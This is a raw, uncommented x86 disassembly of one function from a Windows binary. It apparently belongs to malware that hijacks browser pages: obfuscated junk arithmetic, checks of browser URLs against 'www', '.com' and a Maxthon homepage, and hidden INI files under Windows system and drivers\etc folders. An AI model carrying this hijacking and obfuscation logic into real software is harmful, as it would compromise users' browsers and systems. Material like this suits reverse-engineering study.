call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a4]
mov eax, 0x5e17e411
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, dword [0x4556a0]
mov eax, 0x6d62dd3b
imul esi, esi, 0x16cb
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
imul edx, edx, 0x5cc
sub ebx, esi
mov esi, dword [str._r_____r____]
sub ebx, eax
sub ebx, edx
mov eax, 0x59da2e6b
imul ecx
imul ecx, ecx, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, esi
mov esi, dword [0x455688]
add esi, ebx
mov ebx, eax
mov eax, 0x9cbd99d5
imul edi
sar edx, 0xb
mov dword [0x455688], esi
imul esi, esi, 0xe33
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ebx
add edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4700d503
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov dword [0x4556a4], edi
mov edx, dword [eax]
lea ecx, [ebp - 0x1100]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x1100]
push edx
call fcn.0041f110
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov ebx, eax
imul esi, esi, 0x14a2
mov eax, 0x6342662b
imul ecx
mov ecx, dword [0x455688]
sar edx, 0xb
imul ecx, ecx, 0x12b9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x1cb32649
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0x5cc
test ebx, ebx
mov dword [0x455690], esi
je 0x41b9e8
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41b9e8
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov eax, 0xcc33a611
imul esi, esi, 0xe33
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
sub edi, ecx
push 1
mov dword [0x455698], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1100]
push eax
call fcn.0041f110
mov ebx, eax
mov ecx, dword [0x45568c]
mov eax, 0x1cb32649
imul ecx
mov eax, dword [0x455698]
sar edx, 9
imul eax, eax, 0x509
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x11d7
push 4
sub edx, ecx
add edx, eax
push str.http
push ebx
mov dword [0x4556a0], edx
call fcn.0042a3e0
add esp, 0xc
test eax, eax
je 0x41bc58
push 4
push str.HTTP
push ebx
call fcn.0042a3e0
add esp, 0xc
test eax, eax
je 0x41bc58
push 4
push str.www.
push ebx
call fcn.0042a3e0
add esp, 0xc
test eax, eax
je 0x41bc58
push 4
push str.WWW.
push ebx
call fcn.0042a3e0
add esp, 0xc
test eax, eax
je 0x41bc58
push str.http:
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41bacc
push str.HTTP:
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41bacc
push str.www.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41bacc
push str.WWW.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bc58
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x5e17e411
imul esi, esi, 0x140f
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0xd02
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
push str.http:
push ebx
mov dword [0x4556a8], eax
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bc04
push str.http:
jmp 0x41bc4d
mov ecx, dword [0x45569c]
imul esi, esi, 0x16cb
imul edi, edi, 0x5cc
mov eax, 0x5e17e411
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x6d62dd3b
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
sub ebx, esi
add ecx, edx
sub ebx, ecx
sub ebx, edi
mov edi, dword [0x455688]
add ebx, eax
add edi, ebx
push str.startup.exe
mov dword [0x455688], edi
call fcn.0040bc00
add esp, 4
test eax, eax
jle 0x41b029
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x41bbbf
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41bbd3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bbe7
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c935
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c935
push str.HTTP:
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bc1d
push str.HTTP:
jmp 0x41bc4d
push str.www.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bc36
push str.www.
jmp 0x41bc4d
push str.WWW.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bc58
push str.WWW.
push ebx
call fcn.00429cd0
add esp, 8
mov ebx, eax
mov eax, 0x59da2e6b
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov esi, dword [0x4556a8]
mov eax, 0x9cbd99d5
imul esi, esi, 0xaef
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x140f
mov eax, 0x4700d503
imul dword [0x455694]
add ecx, esi
add ecx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov edx, dword [0x446bc4]
mov dword [str._r_____r____], eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446bc8]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x446bcc]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x446bd0]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
xor eax, eax
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45568c]
stosw word es:[edi], ax
mov edi, dword [0x4556a0]
mov eax, 0x903bb8bb
imul edi, edi, 0x140f
imul ecx
add edx, ecx
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x4700d503
imul dword [0x455690]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x455694]
add ecx, edi
sub ecx, esi
sub ecx, edx
add ecx, 0x11d7
mov esi, ebx
mov dword [0x45568c], ecx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x41bd82
sub esi, edi
mov dword [ebp - 0x10e8], esi
je 0x41beca
push str.http:__
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str.HTTP:__
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str.www.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str.WWW.
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..COM
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..com
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..NET
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..net
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..ORG
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..org
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push 0x446b7c
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push 0x446b78
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..htm
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41beaf
push str..HTM
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41bec4
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042977a
add esp, 0xc
mov ecx, dword [0x45568c]
mov eax, 0x59da2e6b
imul ecx, ecx, 0x140f
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x4556a8]
imul eax, eax, 0xaef
sub edi, esi
add edi, ecx
add edi, eax
mov eax, 0x4700d503
imul dword [0x455694]
push str.C:WINDOWS_system_sdax.txt
sar edx, 9
push 0x400
mov ecx, edx
add edi, edx
lea edx, [ebp - 0x8c4]
push edx
push 0x445dd9
shr ecx, 0x1f
push str.rtgbh
add ecx, edi
push str.asdf
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c086
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bf60
sub eax, edx
mov dword [ebp - 0x10e8], eax
je 0x41c086
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41c086
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41c00b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41c00b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41bfe8
test al, al
je 0x41bfe4
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41bfe8
add esi, 2
add edi, 2
test al, al
jne 0x41bfc0
xor eax, eax
jmp 0x41bfed
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c00b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41c01f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41c086
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov edi, dword [0x455688]
imul ecx, ecx, 0x14a2
mov eax, 0x6342662b
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x12b9
sub ecx, eax
mov ebx, dword [0x4556a0]
add ecx, edx
mov edx, dword [0x455690]
mov eax, 0x1cb32649
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0x5cc
mov dword [0x455690], ecx
jmp 0x41c137
push 0
call fcn.0042985f
mov ecx, dword [0x569784]
mov esi, dword [0x4556a0]
mov dword [0x569780], eax
imul esi, esi, 0xe33
add esp, 4
inc ecx
mov dword [0x569784], ecx
mov ecx, dword [0x4556a8]
mov eax, 0xcc33a611
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10ec]
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10d8]
sub edi, ecx
push edx
mov dword [0x455698], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov ebx, dword [0x4556a0]
mov eax, 0x5e17e411
imul ebx, ebx, 0x16cb
imul ecx, ecx, 0x5cc
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10ec], eax
mov ebx, dword [ebp - 0x10d0]
mov eax, 0x6d62dd3b
imul dword [0x4556a4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10ec]
sub edx, eax
sub edx, ecx
mov ecx, dword [str._r_____r____]
add edx, ecx
add edi, edx
test ebx, ebx
mov dword [0x455688], edi
je 0x41c6f5
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c1a4
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x41c6f5
mov edi, dword [0x45568c]
imul ecx, ecx, 0x736
mov eax, dword [0x455698]
imul edi, edi, 0x140f
imul eax, eax, 0x12b9
add edi, eax
mov eax, 0x903bb8bb
imul esi
add edx, esi
mov esi, dword [0x4556a4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, esi
lea ecx, [ecx + edi - 0x5cc]
push 0xffffffffffffffff
mov dword [0x455694], ecx
push 0x559370
lea ecx, [ebp - 0x1138]
call fcn.00405d10
mov ecx, dword [str._r_____r____]
mov eax, 0x1cb32649
imul ecx, ecx, 0x11d7
imul dword [0x45568c]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x509
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x4556a0], ecx
mov edi, 0x558b68
mov esi, ebx
lea ebx, [ebx]
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41c284
test al, al
je 0x41c280
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41c284
add esi, 2
add edi, 2
test al, al
jne 0x41c260
xor eax, eax
jmp 0x41c289
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c6da
mov esi, dword [0x45568c]
mov eax, 0x903bb8bb
imul esi
add edx, esi
mov edi, ecx
imul edi, edi, 0x140f
sar edx, 0xb
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [0x4556a8]
mov edx, edi
imul edx, edx, 0xaef
sub eax, edx
mov edx, dword [0x455690]
mov dword [ebp - 0x10d0], eax
mov eax, 0x4700d503
imul edx
mov eax, dword [ebp - 0x10d0]
sar edx, 9
mov esi, edx
add eax, edx
mov edx, dword [0x455694]
shr esi, 0x1f
add esi, eax
sub esi, edx
mov eax, ebx
add esi, 0x11d7
lea edx, [eax + 1]
mov dword [0x45568c], esi
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c308
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x41c332
mov ecx, ebx
mov edx, 0x558b68
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c323
jmp 0x41c3b0
mov eax, 0xcc33a611
imul ecx, ecx, 0xe33
imul edi
add edx, edi
imul edi, edi, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5da803a9
imul dword [0x455698]
sar edx, 0xa
add ecx, edx
mov esi, edx
mov eax, 0x4700d503
imul dword [0x455694]
shr esi, 0x1f
add esi, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 0x7ff
sub esi, edi
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x558b68
push 0x558b68
mov dword [0x455698], esi
rep stosd dword es:[edi], eax
call fcn.0042a2b0
mov esi, dword [0x45568c]
add esp, 0xc
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
imul ecx, ecx, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, 0x9cbd99d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
sub eax, edi
add eax, edx
add eax, ecx
mov edi, eax
mov eax, 0x4700d503
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x558268
mov dword [0x4556a4], edi
lea esi, [eax + 1]
jmp 0x41c420
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c420
sub eax, esi
cmp eax, 5
jbe 0x41c6da
push str.ConfigL6
push ebx
call fcn.004044a0
add esp, 8
test eax, eax
jne 0x41c6da
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x5e17e411
imul esi, esi, 0x140f
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0xd02
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
push 0x132b600
mov dword [0x4556a8], eax
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x64
jge 0x41c54e
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9cbd99d5
imul ecx
mov eax, dword [0x4556a8]
sar edx, 0xb
imul eax, eax, 0xaef
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov ebx, ecx
mov ecx, dword [0x455694]
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x558268
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c537
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x41c54e
inc esi
jmp 0x41c4b0
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a0]
mov eax, 0x903bb8bb
imul esi, esi, 0x140f
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov edi, edx
add esi, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xaef
shr edi, 0x1f
add edi, esi
sub edi, edx
mov eax, 0x4700d503
imul ecx
push str.C:WINDOWS_system32driversetc_service5.ini
sar edx, 9
push 0x800
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
lea ecx, [ebp - 0x10c4]
push ecx
add eax, edi
push 0x445dd9
sub eax, edx
push str.ConfigL5
add eax, 0x11d7
push str.GameType1
mov dword [0x45568c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45568c]
mov edx, dword [0x455698]
imul esi, esi, 0x140f
mov ecx, dword [0x45569c]
imul edx, edx, 0x12b9
add esi, edx
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
imul ecx, ecx, 0x736
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
add esi, edx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0x5cc]
push eax
mov dword [0x455694], edx
call fcn.0042985a
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x445d98
push ecx
call fcn.0042977a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov esi, dword [0x45568c]
mov edi, dword [0x455690]
mov ecx, dword [0x455694]
imul edi, edi, 0x16cb
mov eax, esi
imul eax, eax, 0x15c4
add edi, eax
mov eax, 0x6342662b
imul ecx
sar edx, 0xb
mov ebx, edx
add edi, edx
imul ecx, ecx, 0x5cc
mov eax, 0x6d62dd3b
imul esi
mov esi, dword [0x558260]
sar edx, 0xb
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
add ebx, ecx
inc esi
push 0
mov dword [0x45569c], ebx
mov dword [0x558260], esi
call fcn.0042985f
add esp, 4
mov dword [0x558264], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405da0
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x59da2e6b
imul edi, edi, 0xe33
imul esi
imul esi, esi, 0x736
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x9cbd99d5
imul dword [0x4556a4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov ecx, edx
add ebx, edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10cc]
add ebx, esi
push ecx
sub ebx, ecx
mov eax, esp
mov dword [0x4556a4], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x41c76f
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x5694b0
call fcn.00406b80
mov ecx, dword [0x45569c]
mov eax, 0x5e17e411
imul ecx
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
sar edx, 0xb
imul esi, esi, 0x16cb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x6d62dd3b
imul ecx
mov ebx, dword [str._r_____r____]
mov eax, dword [ebp - 0x10cc]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x5cc
sub edi, esi
mov esi, dword [0x455688]
sub edi, ecx
sub edi, edx
add edi, ebx
push 0
add esi, edi
push eax
mov dword [0x455688], esi
call fcn.00408930
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov eax, 0x6342662b
imul ecx, ecx, 0x14a2
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x12b9
sub ecx, eax
mov edi, dword [0x4556a0]
add ecx, edx
mov edx, dword [0x455690]
mov eax, 0x1cb32649
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add esp, 8
sub ecx, 0x5cc
mov dword [0x455690], ecx
jmp 0x41c85c
mov ecx, dword [0x455690]
mov edi, dword [0x4556a0]
mov ebx, dword [0x4556a8]
imul edi, edi, 0xe33
mov eax, 0xcc33a611
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub edi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
add edi, edx
mov ebx, edx
mov eax, 0x4700d503
imul dword [0x455694]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0x5cc
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, dword [ebp - 0x10d8]
sub ebx, edx
test eax, eax
mov dword [0x455698], ebx
mov byte [ebp - 4], 5
je 0x41c8e1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c901
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c921
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c941
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10fc]
mov ebx, dword [0x4556a8]
inc eax
mov dword [ebp - 0x10fc], eax
mov edi, eax
jmp 0x41a923
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41c96f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [str._r_____r____]
mov eax, 0x1cb32649
imul ecx, ecx, 0x11d7
imul dword [0x45568c]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455698]
imul eax, eax, 0x509
add ecx, eax
mov eax, dword [ebp - 0x10f4]
mov dword [0x4556a0], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret